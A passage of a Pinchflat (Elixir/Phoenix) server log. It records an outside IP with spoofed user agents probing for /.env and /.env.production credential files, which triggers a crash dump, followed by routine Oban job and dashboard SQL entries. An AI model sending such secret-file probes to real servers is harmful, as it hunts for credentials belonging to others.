:phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Maemo; Linux armv7l; rv:2.0.1) Gecko/20100101 Firefox/4.0.1 Fennec/2.0.1"}, {"x-forwarded-for", "45.148.10.120"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU9SX2mnjGJrY0AAXZB"} ], scheme: :http, script_name (truncated) 09:36:53.185 [info] GET /.env.production 09:36:53.185 [debug] QUERY OK source="settings" db=0.2ms idle=30.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:36:53.185 [debug] QUERY OK source="settings" db=0.1ms idle=17.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:36:53.185 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 09:36:53.186 [error] #PID<0.4011.0> running PinchflatWeb.Endpoint (connection #PID<0.4007.0>, stream id 4) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /.env.production ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4007.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 51142}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4011.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"}, {"x-forwarded-for", "45.148.10.120"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU9SX5qIrvxKYEAAXaB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4007.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 51142}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /.env (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4007.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/.env.production", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 51142}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-charset" => "utf-8", "accept-encoding" => "gzip", "host" => "pinchflat.tail3db17d.ts.net", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)", "x-forwarded-for" => "45.148.10.120", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 4, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.4011.0>, params: %{}, path_info: [".env"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-charset", "utf-8"}, {"accept-encoding", "gzip"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)"}, {"x-forwarded-for", "45.148.10.120"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"} ], request_path: "/.env.production", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMU9SX5qIr (truncated) 09:37:00.945 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:37:19.264 [info] {"source":"oban","duration":1626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:37:49.265 [info] {"source":"oban","duration":799,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:00.946 [info] {"source":"oban","duration":355,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:38:19.266 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:38:49.268 [info] {"source":"oban","duration":1413,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:00.947 [info] {"source":"oban","duration":559,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:39:19.270 [info] {"source":"oban","duration":1432,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:39:49.272 [info] {"source":"oban","duration":1259,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:00.948 [info] {"source":"oban","duration":340,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:40:19.273 [info] {"source":"oban","duration":690,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:40:49.274 [info] {"source":"oban","duration":885,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:00.949 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:41:19.277 [info] {"source":"oban","duration":1568,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:41:40.895 [info] GET / 09:41:40.895 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 09:41:40.895 [debug] QUERY OK source="settings" db=0.2ms idle=472.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:41:40.895 [debug] QUERY OK source="media_profiles" db=0.0ms idle=164.8ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 09:41:40.896 [debug] QUERY OK source="sources" db=0.0ms idle=164.9ms SELECT count(s0."id") FROM "sources" AS s0 [] 09:41:40.896 [debug] QUERY OK source="media_items" db=0.2ms idle=165.0ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 09:41:40.896 [debug] QUERY OK source="media_items" db=0.1ms idle=165.3ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 09:41:40.896 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:41:40.897 [debug] QUERY OK source="settings" db=0.2ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:41:40.897 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 09:41:40.898 [debug] QUERY OK source="tasks" db=0.2ms idle=1.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 09:41:40.898 [debug] QUERY OK source="sources" db=0.1ms idle=2.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 09:41:40.899 [debug] QUERY OK source="media_items" db=0.1ms idle=2.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 09:41:40.899 [debug] QUERY OK source="media_items" db=0.2ms idle=2.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 09:41:40.900 [debug] QUERY OK source="sources" db=0.1ms idle=2.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [5, 1] 09:41:40.902 [debug] QUERY OK source="media_items" db=0.2ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 09:41:40.902 [debug] QUERY OK source="media_items" db=0.3ms idle=3.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 09:41:40.903 [debug] QUERY OK source="sources" db=0.1ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 09:41:40.904 [info] Sent 200 in 9ms 09:41:49.279 [info] {"source":"oban","duration":1286,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:00.950 [info] {"source":"oban","duration":285,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:42:19.281 [info] {"source":"oban","duration":1499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:42:49.283 [info] {"source":"oban","duration":1423,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:00.950 [info] {"source":"oban","duration":211,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:43:19.285 [info] {"source":"oban","duration":1498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:43:49.287 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:00.951 [info] {"source":"oban","duration":194,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:44:19.289 [info] {"source":"oban","duration":1218,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:44:49.290 [info] {"source":"oban","duration":803,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:00.952 [info] {"source":"oban","duration":212,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:45:19.292 [info] {"source":"oban","duration":1540,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:45:49.294 [info] {"source":"oban","duration":1466,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:00.953 [info] {"source":"oban","duration":173,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:46:19.296 [info] {"source":"oban","duration":1464,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:46:49.298 [info] {"source":"oban","duration":1591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:00.955 [info] {"source":"oban","duration":407,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:47:19.299 [info] {"source":"oban","duration":1050,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:47:49.302 [info] {"source":"oban","duration":1368,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:00.956 [info] {"source":"oban","duration":220,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:48:19.303 [info] {"source":"oban","duration":1182,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:48:49.306 [info] {"source":"oban","duration":1508,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:00.956 [info] {"source":"oban","duration":196,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:49:19.308 [info] {"source":"oban","duration":1307,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:49:49.309 [info] {"source":"oban","duration":1206,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:00.958 [info] {"source":"oban","duration":227,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:50:19.312 [info] {"source":"oban","duration":1558,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:50:49.314 [info] {"source":"oban","duration":1276,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:00.959 [info] {"source":"oban","duration":210,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:51:19.316 [info] {"source":"oban","duration":1566,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:51:49.318 [info] {"source":"oban","duration":1476,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:00.960 [info] {"source":"oban","duration":215,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:52:19.319 [info] {"source":"oban","duration":894,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:52:49.321 [info] {"source":"oban","duration":1547,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:00.960 [info] {"source":"oban","duration":169,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:53:19.322 [info] {"source":"oban","duration":629,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:53:49.323 [info] {"source":"oban","duration":521,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:00.962 [info] {"source":"oban","duration":242,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:54:19.324 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:54:49.326 [info] {"source":"oban","duration":1575,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:00.962 [info] {"source":"oban","duration":198,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:55:19.328 [info] {"source":"oban","duration":1675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:55:49.331 [info] {"source":"oban","duration":1527,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:00.963 [info] {"source":"oban","duration":150,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:56:19.333 [info] {"source":"oban","duration":1328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:56:49.335 [info] {"source":"oban","duration":1299,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:00.964 [info] {"source":"oban","duration":214,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:57:19.337 [info] {"source":"oban","duration":1475,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:57:49.338 [info] {"source":"oban","duration":556,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:00.965 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:58:19.340 [info] {"source":"oban","duration":1619,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:58:49.341 [info] {"source":"oban","duration":680,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:00.967 [info] {"source":"oban","duration":262,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 09:59:19.343 [info] {"source":"oban","duration":1668,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 09:59:49.346 [info] {"source":"oban","duration":1523,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:00.968 [info] {"source":"oban","duration":230,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:00:19.348 [info] {"source":"oban","duration":1352,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:00:49.350 [info] {"source":"oban","duration":1765,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:00.968 [info] {"source":"oban","duration":216,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:01:19.352 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:01:49.354 [info] {"source":"oban","duration":1729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:00.969 [info] {"source":"oban","duration":171,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:02:19.357 [info] {"source":"oban","duration":1674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:02:49.359 [info] {"source":"oban","duration":1665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:00.971 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:03:19.361 [info] {"source":"oban","duration":1536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:03:49.362 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:00.971 [info] {"source":"oban","duration":181,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:04:19.363 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:04:49.365 [info] {"source":"oban","duration":1205,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:00.973 [info] {"source":"oban","duration":203,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:05:19.367 [info] {"source":"oban","duration":1611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:05:49.370 [info] {"source":"oban","duration":1579,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:00.973 [info] {"source":"oban","duration":174,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:06:19.372 [info] {"source":"oban","duration":1482,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:06:49.374 [info] {"source":"oban","duration":1580,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:00.975 [info] {"source":"oban","duration":218,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:07:19.376 [info] {"source":"oban","duration":1287,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:07:49.378 [info] {"source":"oban","duration":1512,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:00.975 [info] {"source":"oban","duration":191,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 10:08:19.380 [info] {"source":"oban","duration":1632,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 10:08:49.381 [info] 